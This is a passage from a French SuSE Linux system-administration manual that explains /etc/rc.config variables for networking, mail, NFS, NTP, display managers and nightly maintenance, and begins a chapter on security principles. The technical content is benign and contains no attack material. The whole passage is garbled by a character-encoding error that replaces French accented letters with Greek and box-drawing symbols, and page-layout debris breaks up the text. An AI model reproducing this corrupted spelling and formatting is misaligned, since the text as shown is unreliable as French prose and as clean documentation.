  29009.     Activer  la  protection  contre  les  attaques  ``Syn  Flood''  (angl.  syn  flood
  29010.     protection).
  29011.  
  29012. ~   IP_FORWARD=no
  29013.     Si la machine doit transmettre α travers deux interfaces rΘseau, la variable
  29014.     IP_FORWARD          doit Ωtre positionnΘe α yes   . Ceci est gΘnΘralement souhai-
  29015.     table, voire indispensable, pour un ``routeur'' ou pour ``IP Masquerade''.
  29016.     Le  script  /sbin/init.d/boot  active  la  fonction  ``IP  Forwarding''  par
  29017.     une entrΘe dans le fichier /proc.
  29018.  
  29019. ~   FQHOSTNAME=terre.cosmos.univers
  29020.     Le  nom  d'h⌠te  ``pleinement  qualifiΘ''  de  la  machine  ce  qui  signifie  ici
  29021.     ``intΘgral'',  c'est-α-dire  le  nom  complet  composΘ  du  nom  d'h⌠te  de  la
  29022.     machine et du nom du domaine.
  29023.  
  29024. ~   SEARCHLIST=cosmos.univers
  29025.     Cette entrΘe est utilisΘe pour complΘter un nom d'h⌠te qui n'est pas plei-
  29026.     nement qualifiΘ. Si par exemple le nom de la machine est vΘnus, il sera
  29027.     vΘrifiΘ si vΘnus.cosmos.univers est un nom de machine valide. Cette
  29028.     variable doit absolument Ωtre renseignΘe si vous voulez utiliser DNS ! In-
  29029.     diquez  ici  au  moins  votre  nom  de  domaine.  Vous  pouvez  faire  jusqu'α
  29030.     trois entrΘes dans la ``liste de recherche'' et elles doivent Ωtre sΘparΘes les
  29031.     unes des autres par des espaces.
  29032.  
  29033. ~   NAMESERVER=193.141.17.193
  29034.     Le serveur de noms qui est interrogΘ lorsqu'il faut convertir un nom de
  29035.     machine en une adresse IP. Vous pouvez spΘcifier jusqu'α trois serveurs de
  29036.     noms dont les adresses sont sΘparΘes les unes des autres par des espaces.
  29037.     Si vous voulez utiliser un serveur de noms, vous devez aussi renseigner la
  29038.     variable SEARCHLIST          !
  29039.  
  29040. ~   ORGANIZATION="Tartempion,  Trifouillis-les-Oies"
  29041.     Ce texte apparaεt dans chaque message Usenet provenant de la machine
  29042.     concernΘe.
  29043.  
  29044. ~   NNTPSERVER=soleil.cosmos.univers
  29045.     L'adresse du serveur de news. Si vous vous procurez vos news par UUCP
  29046.     et si elles sont stockΘes localement, vous devriez entrer ici h⌠te  local
  29047.  
  29048.  
  29049.                                                                                                                                    *
  29050.  * 455
  29051. 17.  Le concept d'amorτage_de_SuSE______Linux______________________________________________________________________________________*
  29052.  *_______________________________________@
  29053.  
  29054.  
  29055.  
  29056.                              ~   IRCSERVER=soleil.cosmos.univers
  29057.                                  Vous pouvez spΘcifier ici plusieurs serveurs IRC (Internet Relay Chat).
  29058.                                  Les noms des diffΘrents serveurs doivent Ωtre sΘparΘs les uns des autres
  29059.                                  par des espaces.
  29060.  
  29061.                              ~   START_INETD=yes
  29062.                                  Active le superdΘmon inetd . Ce dΘmon rΘagit aux demandes de connexion
  29063.                                  d'autres machines et dΘmarre, dΘpendamment du port choisi, le service
  29064.                                  correspondant. Ceci vous est nΘcessaire si vous voulez vous connecter sur
  29065.                                  la machine via telnet  ou rlogin  ~ Positionnez toutefois START_INETD            α
  29066.                                  no  si xinetd  doit Ωtre utilisΘ (voir prΘsente page).
  29067.  
  29068.                              ~   START_XINETD=no
  29069.                                  Active  le  superdΘmon  xinetd ,  le  superdΘmon  inetd  Θtendu  (voir  prΘ-
  29070.                                  sente page). Si cet ``extended Internet services daemon'' doit Ωtre utilisΘ,
  29071.                                  START_INETD           doit Ωtre positionnΘe α no
  29072.  
  29073.                              ~   SENDMAIL_xxxx=
  29074.                                  Les variables sendmail  sont explicitΘes au paragraphe 6.8 page 205.
  29075.  
  29076.                              ~   START_POSTFIX=no
  29077.                                  Active le serveur de mail postfix . S'applique aussi aux variables
  29078.                                  POSTFIX_CREATECF              , POSTFIX_RELAYHOST                ,
  29079.                                  POSTFIX_MASQUERADE_DOMAIN                       et POSTFIX_LOCALDOMAINS                  .
  29080.  
  29081.                              ~   SMTP=no
  29082.                                  DΘtermine  si  un  dΘmon  sendmail  doit  Ωtre  lancΘ.  Ceci  n'est  pas  nΘces-
  29083.                                  saire si vous recevez votre courrier exclusivement via UUCP α condition
  29084.                                  que vous lanciez sendmail  -q          aprΦs chaque polling (le rmail      lancΘ par
  29085.                                  UUCP  mettra  seulement  le  courrier  dans  la  file  d'attente  sans  le  distri-
  29086.                                  buer).  Dans  un  rΘseau  o∙  les  rΘpertoires  de  spool  courrier  sont  montΘs
  29087.                                  via NFS et o∙ chaque machine n'a que du courrier sortant, cette variable
  29088.                                  peut Ωtre positionnΘe α no  . Il en est de mΩme si si vous utilisez un ``Relay
  29089.                                  Host''.
  29090.  
  29091.                              ~   START_PORTMAP=no
  29092.                                  DΘtermine si le portmapper doit Ωtre lancΘ. Vous avez besoin du portmap-
  29093.                                  per si votre machine doit faire office de serveur NFS (voir paragraphe 5.5
  29094.                                  page  167).  Sans  le  portmapper,  les  dΘmons  rpc.mountd  et  rpc.nfsd  ne
  29095.                                  peuvent  pas  tourner.  Pour  cette  raison,  le  portmapper  sera  lancΘ  si  le
  29096.                                  SERVEUR  NFS         est activΘ mΩme si cette variable est positionnΘe α no  . Pour
  29097.                                  l'utilisation  de  NIS   (voir  paragraphe  5.4  page  165)   le  portmapper  est
  29098.                                  Θgalement nΘcessaire !
  29099.  
  29100.                              ~   NFS_SERVER=no
  29101.                                  Si votre machine doit faire office de serveur NFS, cette variable doit Ωtre
  29102.                                  positionnΘe α yes   . Ceci provoque le lancement des dΘmons rpc.nfsd  et
  29103.                                  rpc.mountd .   Pour une description plus dΘtaillΘe d'un serveur NFS (par
  29104.                                  exemple pour la dΘtermination des rΘpertoires α exporter), lisez le para-
  29105.                                  graphe 5.5 page 167.
  29106.  
  29107.                              ~   REEXPORT_NFS=no
  29108.                                  Positionnez la variable α yes    pour rΘexporter des rΘpertoires NFS montΘs
  29109.                                  ou des volumes NetWare.
  29110.  
  29111.  
  29112. 456
  29113.      _______________________________________________________17.6.__Les_variables_/etc/rc.config______________des_Systems___________*
  29114.  *____________________
  29115.  
  29116.  
  29117.  
  29118. ~   NFS_SERVER_UGID=no
  29119.     Si le dΘmon (rcp.ugidd ) pour la conversion des ID utilisateurs et des ID
  29120.     groupes  doit  Ωtre  lancΘ.  Ce  service  doit  Ωtre  dΘmarrΘ  sur  le  client  NFS
  29121.     concernΘ.
  29122.  
  29123. ~   USE_KERNEL_NFSD="no"
  29124.     Lorsque  le  paquetage  knfsd  est  installΘ,  le  dΘmon  NFS  du  noyau  peut
  29125.     Ωtre utilisΘ. Ce dΘmon NFS rend le verrouillage possible. Voir la variable
  29126.     USE_KERNEL_NFSD_NUMBER                    .
  29127.  
  29128. ~   START_AMD=no
  29129.     DΘmarrez le dΘmon d'automontage. Si aucune raison ne s'y oppose, vous
  29130.     devriez  donner  la  prΘfΘrence  au  module  du  noyau  autofs  (voir  prΘsente
  29131.     page).
  29132.  
  29133. ~   START_AUTOFS=no
  29134.     Avec ce dΘmon, il est possible de monter aussi bien des rΘpertoires ac-
  29135.     cessibles via NFS que des rΘpertoires locaux (lecteurs de CD-ROM, dis-
  29136.     quettes, etc :) en mode automatique. Le paquetage autofs, sΘrie n doit
  29137.     Ωtre installΘ et configurΘ.
  29138.  
  29139. ~   START_RWHOD=no
  29140.     DΘtermine  si  rwhod  doit  Ωtre  lancΘ.  Attention,  rwhod  Θmet  rΘguliΦre-
  29141.     ment des ``broadcasts'' (diffusions). Ceci peut provoquer l'Θtablissement
  29142.     de communications lors de connexions α la demande (ISDN et/ou diald )
  29143.     ~ et entraεner des dΘpenses !
  29144.  
  29145. ~   START_ROUTED=no
  29146.     Le  dΘmon  routed  est  seulement  nΘcessaire  pour  le  routage  dynamique
  29147.     (voir page de man de routed       (man  routed        )). Attention, ce service pro-
  29148.     voque toutes les 30 secondes un trafic rΘseau. Si la machine est connectΘe
  29149.     α  Internet  par  ligne  tΘlΘphonique  (dialup)  (par  exemple  ISDN),  il  n'y  a
  29150.     aucun avantage α positionner cette variable α yes   .
  29151.  
  29152. ~   START_NSCD=yes
  29153.     Initialiser NSCD (angl. Name Service Caching Daemon) lors de l'amor-
  29154.     τage.
  29155.  
  29156. ~   START_NAMED=no
  29157.     DΘtermine si le dΘmon de service de noms (named ) doit Ωtre lancΘ.
  29158.  
  29159. ~   CREATE_YP_CONF=yes
  29160.     DΘtermine  si  SuSEconfig ,  en  fonction  des  deux  entrΘes  suivantes,  doit
  29161.     gΘnΘrer  automatiquement  les  fichiers  nΘcessaires  pour  utiliser  YP(voir
  29162.     paragraphe 5.4 page 165). En outre, les fichiers /etc/passwd et /etc/
  29163.     group seront adaptΘs dans la mesure o∙ ce sera encore nΘcessaire.
  29164.  
  29165. ~   YP_DOMAINNAME=cosmos.univers
  29166.     Le nom de domaine YP de la machine.   Pour des informations plus dΘ-
  29167.     taillΘes, reportez-vous au paragraphe 5.4 page 165.
  29168.  
  29169. ~   YP_SERVER=soleil.cosmos.univers
  29170.     Le nom du serveur NIS.
  29171.  
  29172. ~   USE_NIS_FOR_RESOLVING=no
  29173.     Utiliser NIS pour la rΘsolution des noms de machines.
  29174.  
  29175.  
  29176.                                                                                                                                    *
  29177.  * 457
  29178. 17.  Le concept d'amorτage_de_SuSE______Linux______________________________________________________________________________________*
  29179.  *_______________________________________@
  29180.  
  29181.  
  29182.  
  29183.                              ~   START_CIPED=no
  29184.                                  DΘmarrer le dΘmon CIPE pour un tunnel IPIP.
  29185.                              ~   START_DHCPD=no
  29186.                                  DΘmarrer  le  serveur  pour  DHCP  (angl.  Dynamic  Host  Configuration
  29187.                                  Protocol). Inclut les variables DHCPD_INTERFACE              , START_DHCRELAY              et
  29188.                                  DHCRELAY_SERVERS              .
  29189.  
  29190.                              ~   START_LDAP=no
  29191.                                  DΘmarrer le serveur LDAP.
  29192.  
  29193.                              ~   START_RADIUSD=yes
  29194.                                  DΘmarrer le service d'authentification et de comptabilisation du dΘmon
  29195.                                  radius . Ce service est utilisΘ, par exemple, par certains serveurs d'accΦs
  29196.                                  pour l'authentification de l'utilisateur. Voir la documentation sous /usr/
  29197.                                  doc/packages/radiusd.
  29198.  
  29199.                              ~   START_LPD=yes
  29200.                                  Lancer  lpd  (angl.  Line  Printer  Daemon).  Ceci  est  en  gΘnΘral  indispen-
  29201.                                  sable pour l'impression.
  29202.  
  29203.                              ~   START_NNTPD=yes
  29204.                                  Lancer nntpd , nΘcessaire pour garantir l'accΦs via NNTP au news locales.
  29205.  
  29206.                              ~   START_INN=no
  29207.                                  DΘmarrer le serveur INN .
  29208.  
  29209.                              ~   START_ATD=yes
  29210.                                  DΘtermine si le dΘmon AT (atd ) doit Ωtre lancΘ. Ce dΘmon permet de faire
  29211.                                  exΘcuter certains jobs α un moment qui aura ΘtΘ prΘcisΘ. Contrairement au
  29212.                                  dΘmon cron, il n'exΘcute qu'une seule fois une action dΘfinie.
  29213.  
  29214.                              ~   START_HTTPD=yes
  29215.                                  Indique si le dΘmon apache http doit Ωtre lancΘ.
  29216.  
  29217.                              ~   START_HTTPSD=yes
  29218.                                  DΘtermine si le serveur Apache httpsd (serveur web ``s√r'') doit Ωtre dΘ-
  29219.                                  marrΘ avec SSL et PHP3.
  29220.  
  29221.                              ~   START_SQUID=no
  29222.                                  Indique si squid doit Ωtre lancΘ.
  29223.  
  29224.                              ~   DOC_HOST=""
  29225.                                  Si un serveur de documentation central mettant α disposition le systΦme
  29226.                                  d'aide SuSE     doit Ωtre utilisΘ, le nom de ce serveur devrait Ωtre indiquΘ ici,
  29227.                                  par exemple "soleil.cosmos.univers"                     .
  29228.  
  29229.                              ~   DOC_SERVER=no
  29230.                                  Sur  le  serveur  de  documentation,  cette  variable  doit  Ωtre  positionnΘe  α
  29231.                                  yes  . D'une part, l'accΦs α http-rman  sera accordΘ en fonction des spΘci-
  29232.                                  fications dans DOC_ALLOW          (voir plus bas). D'autre part les fichiers index
  29233.                                  pour le serveur HTTP seront convertis ; ils ne pointeront plus sur http://
  29234.                                  localhost mais sur http://`hostname-f`.http://`hostname-f`.
  29235.  
  29236.                              ~   DOC_ALLOW="LOCAL"
  29237.                                  Liste des machines/domaines, pour /etc/hosts.allow, autorisΘs α ac-
  29238.                                  cΘder au serveur de documentation. Cette variable ne sera utilisΘe que si
  29239.                                  DOC_SERVER          est  positionnΘe  α  yes  .  On  peut  Θgalement  indiquer  ici  un
  29240.                                  sous-domaine (par exemple avec ".cosmos.univers"                )
  29241.  
  29242.  
  29243. 458
  29244.      _______________________________________________________17.6.__Les_variables_/etc/rc.config______________des_Systems___________*
  29245.  *____________________
  29246.  
  29247.  
  29248.  
  29249. ~   HTTP_PROXY=""
  29250.     Quelques programmes (par exemple lynx , arena ou wget ) peuvent utiliser
  29251.     des serveurs proxy si cette variable d'environnement est positionnΘe en
  29252.     consΘquence. SuSEconfig peut la positionner dans /etc/SuSEconfig/*
  29253.     (voir dans la SDB http://sdb.suse.de/sdb/en/html/lynx_proxy.
  29254.     html). Exemple :
  29255.     "http  ://proxy.provider.de  :3128/"                             .
  29256.  
  29257. ~   FTP_PROXY=""
  29258.     Proxy pour FTP. Exemple : "http  ://proxy.provider.de  :3128/"                             .
  29259.  
  29260. ~   GOPHER_PROXY=""
  29261.     Proxy pour Gopher. Exemple : "http  ://proxy.provider.de  :3128/"                             .
  29262.  
  29263. ~   NO_PROXY=""
  29264.     Cette  variable  permet  d'exclure  certains  (sous-)domaines  du  proxy.
  29265.     Exemple : "www.me.de,  do.main,  localhost"                          .
  29266.  
  29267. ~   START_HYLAFAX=no
  29268.     DΘmarre  Hylafax.  Avant  que  cette  variable  ne  soit  positionnΘe  α  yes  ,
  29269.     faxsetup doit Ωtre exΘcutΘ.
  29270.  
  29271. ~   START_SMB=no
  29272.     DΘmarre  le  serveur  Samba ;  serveur  de  fichiers  et  d'imprimantes  Win-
  29273.     dows.
  29274.  
  29275. ~   START_MARSNWE=no
  29276.     Indique si l'Θmulation du serveur Novell doit Ωtre dΘmarrΘe.
  29277.  
  29278. ~   START_SSHD=yes
  29279.     Lancez le ``dΘmon Secure Shell'' et assurez-vous auparavant qu'il existe
  29280.     une clΘ dite ``host key'' ~ voir α ce sujet la documentation sous /usr/doc/
  29281.     packages/ssh ainsi que les pages de man.
  29282.  
  29283. ~   START_XNTPD=yes
  29284.     Lance le ``dΘmon Network Time Protocol (NTP)'' provenant du paquetage
  29285.     xntp ; la configuration elle-mΩme se fait α travers le fichier /etc/ntp.
  29286.     conf.
  29287.  
  29288.     Les  horloges  radio  ont  des  adresses  de  cette  forme  :  127.127.T.U          .
  29289.     Ici  T  tient  la  place  du  type  de  l'horloge  et  U  celle  du  ``numΘro  d'uni-
  29290.     tΘ''  (angl.  unit  number)  situΘ  dans  une  zone  de  0  α  3 .  ~  Ces  horloges,
  29291.     pour la plupart, requiΦrent un port sΘrie ou un bus spΘcial. Le fichier de
  29292.     +  pΘriphΘrique        prΘvu α cet usage est normalement rΘfΘrencΘ par un lien
  29293.     symbolique /dev/device-U pointant sur le pΘriphΘrique matΘriel. U  doit
  29294.     alors concorder avec le ``numΘro d'unitΘ'' mentionnΘ plus haut. Voir aussi
  29295.     /usr/doc/packages/xntp/html/refclock.htm.
  29296.  
  29297.     Exemple : Si vous avez une horloge radio connectΘe sur un port sΘrie, il
  29298.     vous faut aussi un lien symbolique appropriΘ. refclock.htm vous fait
  29299.     savoir quel doit Ωtre le nom de ce lien.  ~ Les rΘcepteurs DCF77 usuels
  29300.     sont gΘrΘs par le pilote ``PARSE''
  29301.  
  29302.  
  29303.     ##  Type  8  Generic  Reference  Driver  (PARSE)
  29304.     ##  Address:          127.127.8.u
  29305.     ##  Serial  Port:  /dev/refclock-u
  29306.  
  29307.  
  29308.                                                                                                                                    *
  29309.  * 459
  29310. 17.  Le concept d'amorτage_de_SuSE______Linux______________________________________________________________________________________*
  29311.  *_______________________________________@
  29312.  
  29313.  
  29314.  
  29315.                                  Si  vous  sΘlectionnez  le  serveur  127.127.8.0                   par  une  entrΘe  de
  29316.                                  ntp.conf,  il  vous  faut  aussi  un  lien  symbolique  pointant  de  /dev/
  29317.                                  refclock-0 sur ttySx ~ Le port sur lequel l'horloge est connectΘe est
  29318.                                  ici reprΘsentΘ par x .
  29319.  
  29320.                              ~   XNTPD_INITIAL_NTPDATE=""
  29321.                                  Liste des serveurs NTP qui donnent la possibilitΘ d'obtenir l'heure avant
  29322.                                  que le serveur local ne soit dΘmarrΘ, par exemple "soleil.cosmos.univers".
  29323.                                  Si vous avez indiquΘ plusieurs serveurs, leurs noms doivent Ωtre sΘparΘs
  29324.                                  par un espace.
  29325.  
  29326.                              ~   DISPLAYMANAGER=""
  29327.                                  DΘcrit comment le login doit se faire : sur la console texte ou en mode gra-
  29328.                                  phique sous le systΦme X Window. Les valeurs possibles sont xdm    (ges-
  29329.                                  tionnaire d'affichage standard du systΦme X Window), kdm    (gestionnaire
  29330.                                  d'affichage de KDE) ou ""  . Dans le dernier cas, il est prΘsumΘ que l'on ne
  29331.                                  souhaite pas un login en mode graphique et que la machine est dΘmarrΘe
  29332.                                  dans le runlevel 2 (console texte). C'est la valeur par dΘfaut.
  29333.  
  29334.                              ~   KDM_SHUTDOWN=root
  29335.                                  Indique  quels  utilisateurs  sont  autorisΘs  α  arrΩter  la  machine  au  moyen
  29336.                                  de kdm    (reboot ou shutdown). Les valeurs possibles sont root     (`root'
  29337.                                  doit s'identifier avec son mot de passe), all    (tous les utilisateurs), none
  29338.                                  (personne  ne  peut  arrΩter  la  machine  au  moyen  de  kdm  )  et  local      (la
  29339.                                  machine  ne  peut  Ωtre  arrΩtΘe  que  si  l'utilisateur  se  connecte  localement
  29340.                                  et non par le rΘseau). Si la variable est positionnΘe α ""   la valeur root
  29341.                                  sera prise comme valeur par dΘfaut.
  29342.  
  29343.                              ~   CONSOLE_SHUTDOWN=reboot
  29344.                                  Indique comment_le processus_init    _rΘagit_si l'on fait la combinaison de
  29345.                                  touches  |______C|trl+  |____A|lt+  |_______S|uppr.  Les  valeurs  possibles  sont  reboot      (la
  29346.                                  machine s'arrΩte et rΘamorce), halt     (la machine s'arrΩte et reste arrΩtΘe)
  29347.                                  et  ignore      (la  pression  de  la  combinaison  de  touches  ne  produit  aucun
  29348.                                  effet). La valeur par dΘfaut est reboot      .
  29349.  
  29350.                              ~   START_AXNET=no
  29351.                                  Serveur pour Applixware.
  29352.  
  29353.                              ~   START_MYSQL=no
  29354.                                  Serveur pour MySQL .
  29355.  
  29356.                              ~   START_ADABAS=no
  29357.                                  Serveur pour Adabas . Les variables suivantes se rapportent α Adabas :DBROOT      ,
  29358.                                  DBNAME     ,  DBUSER        et  DBCONTROL          ~  voir  les  commentaires  dans  rc.
  29359.                                  config.
  29360.  
  29361.                              ~   START_DB2=no
  29362.                                  Serveur pour DB2.
  29363.  
  29364.                              ~   START_ARKEIA=no
  29365.                                  Serveur de sauvegarde Arkeia
  29366.  
  29367.                              ~   START_ARGUS=no
  29368.                                  Serveur pour Argus (moniteur rΘseau).
  29369.  
  29370.                              ~   ARGUS_INTERFACE=eth0
  29371.                                  L'interface qui doit Ωtre contr⌠lΘe par Argus .
  29372.  
  29373.  
  29374. 460
  29375.        _______________________________________________________17.6.__Les_variables_/etc/rc.config______________des_Systems_________*
  29376.  *______________________
  29377.  
  29378.  
  29379.  
  29380.   ~   ARGUS_LOGFILE="/var/log/argus.log"
  29381.       Le fichier de trace (log) Argus . Ce fichier peut devenir trΦs gros !
  29382.  
  29383.   ~   CRON=yes
  29384.       Contr⌠le le dΘmarrage et l'arrΩt du dΘmon cron. Ce dΘmon lance certains
  29385.       programmes α des heures qui ont ΘtΘ prΘcisΘes. Le dΘmon cron est lancΘ
  29386.       dans les runlevels 2 et 3 ! Il est fortement conseillΘ de l'activer sur des ma-
  29387.       chines qui tournent 24 heures sur 24. Le dΘmon AT offre une alternative
  29388.       ou un complΘment. (voir page 458).
  29389.        _______________________________________________________________________________________________________________________||
  29390.        ||||||||  Il existe toute une sΘrie d'options qui rendent nΘcessaire le lancement rΘ-                    |||            |
  29391.        ||||||||  gulier  de  certains  programmes.  Pour  cette  raison,  le  dΘmon  cron  devrait              ||             |
  29392.        ||||||||                                                                                                 ||             |
  29393.        ||||||||  Ωtre activΘ sur chaque systΦme.                                                                ||             |
  29394.        ||||||||_______________________________________________________________________________________________________________||_
  29395.  
  29396.  
  29397. SΘcuritΘ et services de maintenance locaux
  29398.  
  29399.   ~   RUN_UPDATEDB=yes
  29400.       DΘtermine  si  la  base  de  donnΘes  pour  locate  (locate      )  doit  Ωtre  ac-
  29401.       tualisΘe  une  fois  par  nuit.  locate       sert  α  retrouver  rapidement  des  fi-
  29402.       chiers dans le systΦme. Il est possible d'apporter des retouches α upda-
  29403.       tedb  au moyen des variables RUN_UPDATEDB_AS              , UPDATEDB_NETPATHS                ,
  29404.       UPDATEDB_NETUSER                et UPDATEDB_PRUNEPATHS                   (voir les commentaires
  29405.       dans rc.config). ~ Cette actualisation peut se faire peu de temps aprΦs
  29406.       l'amorτage, α un moment o votre machine ne tourne pas sans interruption.
  29407.       Voir le paragraphe 16.6.1 page 442.
  29408.  
  29409.   ~   REINIT_MANDB=yes
  29410.       Lorsque la base de donnΘes de la page de man doit Ωtre quotidiennement
  29411.       renouvelΘe par cron.daily .
  29412.  
  29413.   ~   CREATE_INFO_DIR=yes
  29414.       DΘtermine si le fichier /usr/info/dir qui constitue un index pour toutes
  29415.       les  pages  info  existantes  doit  Ωtre  crΘΘ  automatiquement.  Ceci  est  utile
  29416.       aprΦs l'installation d'un paquetage qui contient une page info. Notez que
  29417.       pour l'utilisation de cette fonction perl  doit Ωtre installΘ !
  29418.  
  29419.   ~   CHECK_PERMISSIONS=set
  29420.       DΘtermine si les permissions des fichiers doivent Ωtre vΘrifiΘes α l'aide de
  29421.       /etc/permissions. Avec set   , les configurations erronΘes seront corri-
  29422.       gΘes, avec warn     il ne sera Θmis que des ``avertissements'' et avec no  , cette
  29423.       fonction sera dΘsactivΘe.
  29424.  
  29425.   ~   PERMISSION_SECURITY="easy  local"
  29426.       Dans /etc/permissions.paranoid, /etc/permissions.secure et
  29427.       /etc/permissions.easy,  trois  niveaux  de  sΘcuritΘ  sont  prΘvus.  Indi-
  29428.       quez ici easy    , secure      ou /etc/permissions.paranoid                       . Vous pouvez
  29429.       faire vos propres configurations, par exemple dans /etc/permissions.
  29430.       local, et ajouter ensuite come valeur l'extension local     .
  29431.  
  29432.   ~   RPMDB_BACKUP_DIR=/var/adm/backup/rpmdb
  29433.       DΘtermine α quel endroit cron.daily doit Θcrire les sauvegardes de la base
  29434.       de donnΘes RPM. Si vous ne dΘsirez pas de sauvegarde, positionnez cette
  29435.       variable α ""  .
  29436.  
  29437.  
  29438.                                                                                                                                    *
  29439.  *   461
  29440. 17.  Le concept d'amorτage_de_SuSE______Linux______________________________________________________________________________________*
  29441.  *_______________________________________@
  29442.  
  29443.  
  29444.  
  29445.                              ~   MAX_RPMDB_BACKUPS=5
  29446.                                  DΘtermine le nombre de sauvegardes de la base de donnΘes RPM.
  29447.  
  29448.                              ~   DELETE_OLD_CORE=yes
  29449.                                  Les  fichiers  core  sont  des  images  de  l'occupation  mΘmoire  de  pro-
  29450.                                  grammes qui ont ΘtΘ stoppΘs en raison d'une violation de la protection de
  29451.                                  la mΘmoire. Ces images servent α la recherche des erreurs. Vous pouvez
  29452.                                  spΘcifier ici que d'Θventuels vieux fichiers core doivent Ωtre rΘguliΦrement
  29453.                                  recherchΘs et automatiquement effacΘs.
  29454.  
  29455.                              ~   MAX_DAYS_FOR_CORE=7
  29456.                                  DΘtermine l'anciennetΘ maximale (en jours) que peuvent avoir les fichiers
  29457.                                  core avant d'Ωtre effacΘs automatiquement.
  29458.  
  29459.                              ~   MAX_DAYS_FOR_LOG_FILES=365
  29460.                                  Lorsqu'un  fichier  de  traces  (angl.  logfile)  (principalement  sous  /var/
  29461.                                  log)  a  atteint  une  certaine  taille,  il  est  automatiquement  compressΘ  et
  29462.                                  archivΘ et root en est averti par courrier Θlectronique. Avec ce paramΦtre,
  29463.                                  vous pouvez dΘterminer combien de temps de tels fichiers de sauvegarde
  29464.                                  doivent Ωtre conservΘs avant d'Ωtre automatiquement effacΘs. Si vous fixez
  29465.                                  la valeur α 0 , les fichiers ne seront ni comprimΘs ni archivΘs. Ils continue-
  29466.                                  ront alors α Ωtre Θcrits sans limite et pourront atteindre une taille considΘ-
  29467.                                  rable ! Vous pouvez, avec less    , visualiser α tout moment vos fichiers de
  29468.                                  sauvegarde compressΘs.
  29469.  
  29470.                              ~   MAX_DAYS_IN_TMP=30
  29471.                                  Il est vΘrifiΘ quotidiennement s'il existe dans les rΘpertoires tmp des fi-
  29472.                                  chiers  auquels  on  n'a  pas  accΘdΘ  pendant  une  pΘriode  plus  longue  que
  29473.                                  celle spΘcifiΘe (en jours). Si aprΦs la fin de cette pΘriode il n'y a plus eu
  29474.                                  aucun accΦs α un fichier de ce rΘpertoire, il sera automatiquement effacΘ.
  29475.  
  29476.                              ~   TMP_DIRS_TO_CLEAR="/tmp  /var/tmp"
  29477.                                  SpΘcification  des  rΘpertoires  dans  lesquels  il  sera  automatiquement  re-
  29478.                                  cherchΘ tous les jours d'anciens fichiers.
  29479.  
  29480.                              ~   OWNER_TO_KEEP_IN_TMP="root  bs"
  29481.                                  Les fichiers des utilisateurs systΦme spΘcifiΘs ici ne devront pas Ωtre ef-
  29482.                                  facΘs  des  rΘpertoires  tmp  mΩme  s'il  n'y  a  eu  aucun  accΦs  pendant  une
  29483.                                  pΘriode plus longue que celle spΘcifiΘe.
  29484.  
  29485.                              ~   CWD_IN_ROOT_PATH=no
  29486.                                  RΘpertoire  courant  (angl.  current  working  directory)  dans  le  chemin  de
  29487.                                  `root'.
  29488.  
  29489.                              ~   ROOT_LOGIN_REMOTE=no
  29490.                                  Si le login pour `root' via telnet  ou rlogin  doit Ωtre autorisΘ, cette va-
  29491.                                  riable est α positionner α yes   . Pour connaεtre les effets de cette variable
  29492.                                  au niveau de la sΘcuritΘ, lisez la page 475.
  29493.  
  29494.                              ~   SUSEWM_UPDATE=yes
  29495.                                  DΘtermine si SuSEconfig doit adapter, dΘpendamment des paquetages lo-
  29496.                                  giciels installΘs, les fichiers de configuration du systΦme pour le gestion-
  29497.                                  naire  de  fenΩtres.  Il  est  possible  d'apporter  quelques  retouches  α  l'aide
  29498.                                  des  variables  SUSEWM_WM        ,  SUSEWM_MWM         ,  SUSEWM_XPM         ,  SUSEWM_ADD        *
  29499.  *  et
  29500.                                  SUSEWM_COMPAT           .
  29501.  
  29502.  
  29503.  
  29504. 462
  29505.  
  29506.  
  29507.                        HuitiΦme  partie
  29508.  
  29509.  
  29510. SΘcuritΘ   et   autres   astuces
  29511.  
  29512.  
  29513.                                                                                                                               463
  29514.  
  29515.  
  29516.                                                                                                       Chapitre  18
  29517.                      La   sΘcuritΘ   est   une   question   de
  29518.  
  29519.  
  29520.  
  29521.                                                                                                        confiance
  29522.  
  29523.  
  29524. 18.1        Principes de base
  29525.  
  29526. Il n'est absolument plus possible aujourd'hui d'ignorer les menaces qui nous
  29527. guettent sur l'Internet. Presque tous les jours, nous apprenons l'existence d'un
  29528. nouveau danger pour notre ordinateur personnel ou notre rΘseau d'entreprise
  29529. qui risquent d'Ωtre victimes d'attaques par Internet ou d'invasions de virus.
  29530. Nous avons cependant la possibilitΘ de parer α de telles menaces.
  29531.  
  29532. Mais  avant  de  dΘcrire  en  dΘtail  les  diffΘrents  mΘcanismes  de  protection,  il
  29533. convient de prΘciser tout d'abord ce que l'on entend par sΘcuritΘ (angl. secu-
  29534. rity)1  et de dΘfinir les risques contre lesquels on souhaite se protΘger. Les 6
  29535. points suivants montrent clairement que la sΘcuritΘ constitue un objectif que
  29536. tout utilisateur doit se fixer pour sa machine :
  29537.  
  29538.  1.   Protection des ressources
  29539.  
  29540.  2.   AccΦs aux informations
  29541.  
  29542.  3.   DisponibilitΘ des donnΘes
  29543.  
  29544.  4.   IntegritΘ des donnΘes
  29545.  
  29546.  5.   ConfidentialitΘ des donnΘes (juridiction concernant par exemple les cabi-
  29547.       nets mΘdicaux ou les banques)
  29548.  
  29549.  6.   Vie privΘe
  29550.  
  29551. La sΘcurisation de ces 6 points doit faire l'objet d'un concept bien ΘlaborΘ. Il
  29552. convient ici de tenir compte non seulement des dangers que reprΘsentent les
  29553. intrusions mais aussi des dΘgΓts que peut provoquer un matΘriel dΘfectueux
  29554. comme par exemple un disque dur qui se bloque ou des bandes de sauvegarde
  29555. endommagΘes.
  29556.  
  29557. Si  des  donnΘes  de  transactions  doivent  Ωtre  traitΘes  sur  le  systΦme,  les  lois
  29558. qui rΘglementent dans plusieurs pays la manipulation de donnΘes confiden-
  29559. tielles et qui imposent, entre autre, α l'administrateur systΦme, l'obligation de
  29560. protΘger le systΦme contre des accΦs non autorisΘs, entrent ici en jeu2 .
  29561. 1      ____________________________________________________
  29562.   En amΘricain usuel, on trouve trΦs souvent le mot trust qui dΘsigne plut⌠t le degrΘ de confiance
  29563. que l'utilisateur accorde α son systΦme.
  29564. 2  D'autres rΘglementations peuvent aussi s'appliquer, par exemple au sujet de donnΘes de tran-
  29565. sactions qui doivent Ωtre disponibles pour un temps assez long α des fins de vΘrification.
  29566.  
  29567.  
  29568.                                                                                                                                    *
  29569.  *   465
  29570. 18.  La sΘcuritΘ est_une_question_de_confiance_____________________________________________________________________________________*
  29571.  *_______________________________________@
  29572.  
  29573.                            ________________________________________________________________________________________________________*
  29574.  *________
  29575.                            |  L'ΘlΘment essentiel d'un bon concept de sΘcuritΘ est la crΘation rΘguliΦre                           *
  29576.  *        ||||
  29577.                            || de copies de sauvegarde que l'on doit contr⌠ler afin de s'assurer qu'elles                           *
